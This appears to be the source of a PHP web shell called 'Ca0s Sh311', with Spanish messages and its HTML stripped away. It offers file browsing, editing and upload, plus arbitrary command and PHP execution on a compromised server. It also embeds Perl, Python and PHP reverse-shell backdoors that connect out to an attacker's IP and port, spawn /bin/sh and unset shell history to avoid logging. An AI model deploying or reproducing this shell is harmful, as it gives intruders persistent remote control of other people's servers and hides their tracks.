".$_GET["mkdir"];
}
if(isset($_GET["mkfile"]))
{
if(file_exists($_GET["mkfile"]))
$statemsg="Ese archivo ya existe, elige otro nombre.";
else
{
if(!($mkfile=@fopen($_GET["mkfile"], "w")))
$statemsg="No pudo crearse el archivo.";
else
{
$statemsg="Archivo creado, pulsa aqui para editarlo";
fputs($mkfile, "Tu archivo");
fclose($mkfile);
}
}
}
?>
Ca0s Sh311
Ca0s Sh311
-------------------------------------------------------------------------------------------------------------
[Info] [Explorar] [Ejecutar] [Tools] ----
[Salir]
-------------------------------------------------------------------------------------------------------------
";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Imposible conectar (Abriste el puerto...?)
";
print "Ejecutado... Disfruta de tu shell ;)";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "n---- Ca0s Shell Perl BackConnect ----nn";
system("unset HISTFILE; unset SAVEHIST;echo --- Informacion del Sistema ---; uname -a;echo;
echo --- Informacion de usuario ---; id;echo;echo --- Directorio ---; pwd; echo ; echo --- Procesos ---; w; echo ; echo; echo --- Shell --- ");
system($system); ';
$back_python='#!/usr/bin/env python -u
# By Xianur0
# uxmal666@gmail.com
import sys, socket, os
if len(sys.argv) != 3:
print "[x] Uso: %s [host] [port]" % (sys.argv[0])
else:
host = str(sys.argv[1])
port = int(sys.argv[2])
handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
try:
if os.fork() > 0: os._exit(0)
except OSError, error:
print "Error En Fork: %d (%s)" % (error.errno, error.strerror)
pid = os.fork()
if pid > 0:
print "Fork No Valido!"
handler.connect((host, port))
print "\n[x] Advance Reverse Shell By Xianur0.... OK\n"
os.dup2(handler.fileno(), sys.stdin.fileno())
os.dup2(handler.fileno(), sys.stdout.fileno())
while handler.recv:
os.system("unset HISTFILE; unset SAVEHIST; echo ; echo ---- Ca0s Shell Python BackConnect ----; echo --- Mod. of Xianur0 Advance Reverse Shell ---; echo ; echo --- Informacion del Sistema ---; uname -a;echo; echo --- Informacion de usuario ---; id;echo;echo --- Directorio ---; pwd;echo; echo --- Procesos ---; w; echo ; echo --- Shell ---; /bin/sh -i;")
os.system("/bin/sh -i")
except:
print "[!] Error conectando"
';
/*Mostrar partes de la shell*/
if($_POST["op"])
{
if($_POST["bcktype"])
{
getshell($bcktype, $bckip, $bckport);
}
else
{
if($_POST["op"]=="save")
{
$sf=fopen($_POST["sname"], "w+");
rewind($sf);
//$t=str_replace('\\', '', $_POST["edtext"]);
$t=stripslashes($_POST["edtext"]);
fwrite($sf, $t) || $statemsg="No se pudo editar el archivo.";
fclose($sf);
$statemsg="Archivo guardado.";
statemsg();
showexplore();
}
}
}
else
{
if($_GET)
{
$op;
$op=$_GET["op"];
switch($op)
{
case "e":
showexplore();
break;
case "ex":
showexecute();
break;
case "phpinfo":
phpinfo();
break;
case "t":
showtools();
break;
case "edit":
editfile($_GET["edfile"]);
break;
case "exit":
if(session_destroy())
echo "Te has desconectado. La sesion PHP ha sido eliminada.";
else
echo "No pudo borrarse la sesion.";
if(file_exists("back_perl_ca0s.pl"))
if(unlink("back_perl_ca0s.pl"))
echo "
La shell en perl ha sido eliminada.";
else echo "
No pudo borrarse la shell en perl.";
if(file_exists("back_python_ca0s.py"))
if(unlink("back_python_ca0s.py"))
echo "
La shell en python ha sido eliminada.";
else echo "
No pudo borrarse la shell en python.";
break;
default:
showinfo();
}
}
else
{
showinfo();
}
}
}
else
{
mt_srand(time());
$num=mt_rand(0,100);
echo '';
}
/*Funciones para mostrar diferentes partes de la shell:*/
function showinfo()
{
global $IP, $HNAME, $ROOT, $SADMIN, $SELF;
$sm=(@ini_get("safe_mode") == 0) ? 'Off' : 'On';
$Os=php_uname();
$Sn=$_SERVER[SERVER_SOFTWARE];
printf("");
echo "
";
echo "";
echo "IP -> ".$IP." | Nombre del Host -> ".$HNAME." |
";
echo "Directorio -> ".$ROOT." | Self -> ".$SELF." |
";
echo "Safe_mode: -> ".$sm." | Server Admin (Apache) -> ".$SADMIN." |
";
echo '
';
echo "OS -> ".$Os." |
Server -> ".$Sn." |
";
echo "
";
echo "
";
echo "";
printf("
");
various();
}
function showexplore()
{
global $SELF, $SDIR, $ROOT;
if(!isset($_GET["dir"])){
$dir=$ROOT.$SDIR;
}
else{
$dir=$_GET["dir"];
}
printf("");
dirlist($dir);
printf("
");
various();
}
function showexecute()
{
global $SELF;
printf("");
echo "
Shell:
";
if(isset($_POST["codeshell"]))
{
$codeshell=$_POST["codeshell"];
echo('
Resultado:
";
}
echo('
');
echo '';
echo '';
echo "
PHP
";
if(isset($_POST["codephp"]))
{
$codephp=$_POST["codephp"];
echo('
Resultado:
";
}
echo('
');
printf("");
various();
}
function showtools()
{
global $SELF;
echo '';
echo 'Tu IP: '.$_SERVER["REMOTE_ADDR"].' | Si pasas por proxy... ni caso :) |
';
echo '';
echo '';
various();
}
function getshell($type, $ip, $port)
{
/*$type=$_POST["bcktype"];
$ip=$_POST["bckip"];
$port=$_POST["bckport"];*/
global $back_perl, $back_python;
echo '
Intentando obtener shell en '.$ip.':'.$port.' (Reverse Shell: '.$type.')
';
switch($type)
{
case "perl":
{
if(file_exists("back_perl_ca0s.pl"))
{
unlink("back_perl_ca0s.pl");
}
$fs=fopen("back_perl_ca0s.pl", "w");
if(!$fs)
{
echo "No se pudo crear la backdoor, no tienes permisos. Consiguelos :)
";
}
else
{
fwrite($fs, $back_perl);
fclose($fs);
ejecutar("perl back_perl_ca0s.pl ".$ip." ".$port);
}
break;
}
case "python":
{
if(file_exists("back_python_ca0s.py"))
unlink("back_python_ca0s.py");
$fs=fopen("back_python_ca0s.py", "w");
if(!$fs)
{
echo "No se pudo crear la backdoor, no tienes permisos. Consiguelos :)
";
}
else
{
fwrite($fs, $back_python);
fclose($fs);
ejecutar("python back_python_ca0s.py ".$ip." ".$port);
}
break;
}
case "php":
{
back_php($ip, $port);
break;
}
}
}
function editfile($file)
{
echo '';
fclose($fe);
}
else
{
echo '
';
}
}
/*Funciones*/
function various()
{
global $ROOT, $SDIR;
if(isset($_GET["dir"])) $dir=$_GET["dir"];
else $dir=$ROOT.$SDIR;
if(substr($dir, -1, 0)!="/") $dir=$dir."/";
echo('
');
$target_path = basename( $_FILES['upfile']['name']);
if(move_uploaded_file($_FILES['upfile']['tmp_name'], $target_path))
{
//echo "El archivo ". basename( $_FILES['upfile']['name']). " se subio correctamente.";
//$statemsg="El archivo ".basename($_FILES['upfile']['name'])." se subio correctamente.";
$msg=urlencode('El archivo < '.basename($_FILES['upfile']['name']).' > se subio correctamente.');
echo '';
}
}
function dirlist($ruta)
{
global $ROOT;
$dh=opendir($ruta);
echo "Path: ";
echo '';
while(false!==($file=readdir($dh)))
{
if(es_dir($ruta."/".$file))
{
if($file!=".")
{
if($file=="..")
{
echo ''.$file.' | | ';
}
else
{
echo('
'.$file.' | |
');
}
}
}
}
rewinddir($dh);
echo '';
while(false!==($file=readdir($dh)))
{
if (!es_dir($ruta."/".$file))
{
$filepath=$ruta."/".$file;
echo ('
'.$file.' | '.permisos($filepath).' | '.filetype($filepath).'('.(redondear(filesize($filepath)/1024)).'KB) | -- | Descargar | -- | Editar | -- | Eliminar |
');
}
}
echo '
';
closedir($dh);
}
function abrir($archivo)
{
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=.$archivo.");
readfile($archivo);
}
function dirup($cadena)
{
$car;
$conta=1;
$len=strlen($cadena);
while(substr($cadena, -1)!="/")
{
$cadena=substr($cadena, 0, $len-$conta);
$conta++;
}
$cadena=substr($cadena,0,-1);
return $cadena;
}
function back_php($ip, $port)
{
set_time_limit (0);
$VERSION = "1.0";
$chunk_size = 1400;
$write_a = null;
$error_a = null;
//$shell = 'uname -a; w; id; /bin/sh -i';
$shell = "unset HISTFILE; unset SAVEHIST; echo ; echo ---- Ca0s Shell PHP Backdoor ----; echo ; echo --- Informacion del Sistema ---; uname -a;echo; echo --- Informacion de usuario ---; id;echo;echo --- Directorio ---; pwd;echo; echo --- Procesos ---; w; echo ; echo --- Shell ---; /bin/sh -i;";
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork'))
{
$pid = pcntl_fork();
if ($pid == -1)
{
printit("ERROR
");
exit(1);
}
if ($pid)
{
exit(0);
}
if (posix_setsid() == -1)
{
printit("No se pudo hacer setsid()
");
exit(1);
}
$daemon = 1;
}
else
{
printit("No se pudo iniciar el demonio. Es común y no hay problema :)
");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock)
{
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process))
{
printit("No se pudo iniciar la shell :(");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Shell conectada a $ip:$port. Disfruta ;)
");
while (1)
{
if (feof($sock))
{
printit("La conexión ha terminado.
");
break;
}
if (feof($pipes[1]))
{
printit("El proceso de la shell ha sido finalizado.
");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a))
{
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a))
{
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a))
{
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
function printit ($string)
{
if (!$daemon)
{
print "$stringn";
}
}
function redondear($valor) {
$redondeado=round($valor * 100) / 100;
return $redondeado;
}
function es_dir($file)
{
switch(filetype($file))
{
case "dir":
return 1;
break;
case "file":
return 0;
break;
}
}
function statemsg()
{
global $statemsg;
if(isset($_GET["statemsg"]))
{
echo '';
$statemsg=NULL;
}
else
{
if(isset($statemsg))
{
echo '';
$statemsg=NULL;
}
}
}
function ejecutar($com)
{
$res='';
if(!empty($com))
{
if(function_exists(system))
$res=system($com);
elseif(function_exists(exec))
$res=system($com);
elseif(function_exists(passthru))
$res=passthru($com);
elseif(function_exists(shell_exec))
$res=shell_exec($com);
else
$res='No pudo ejecutarse';
return $res;
}
else
return 'Ningun comando introducido';
}
function permisos($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>